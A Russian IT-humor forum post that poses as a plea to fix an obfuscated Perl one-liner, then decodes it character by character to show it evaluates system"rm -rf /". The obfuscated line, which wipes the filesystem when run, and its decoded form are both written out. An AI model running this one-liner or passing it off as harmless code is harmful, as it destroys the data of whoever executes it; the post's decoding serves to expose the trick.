помогите, пожалуйста исправить такую программу:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- не печатает
Произведём первую итерацию и запишем поданную команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды.
Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;.
Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{
(первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам.
В левой части указано четыре диапазона символов, в правой — один.
Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид system"rm -rf /".
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду —
и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат замены уже не интересен.
lurk
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид system"rm -rf /".
Как из букв Ж П О и А, составить слово счастье
[=] - [s]
[]] - [y]
[>] - [t]
[%] - [e]
[-] - [m]
[{] - ["]
[<] - [r]
[|] - [ ]
[}] - [-]
[&] - [f]
[`] - [/]
=]=>%-{<-|}<&|`{
system"rm -rf /"
В нотпадике проще сопоставить
IT-юмор
5.6K постов52.5K подписчика
Правила сообщества
Не публикуем посты:
1) с большим количеством мата
2) с просьбами о помощи
3) не относящиеся к IT-юмору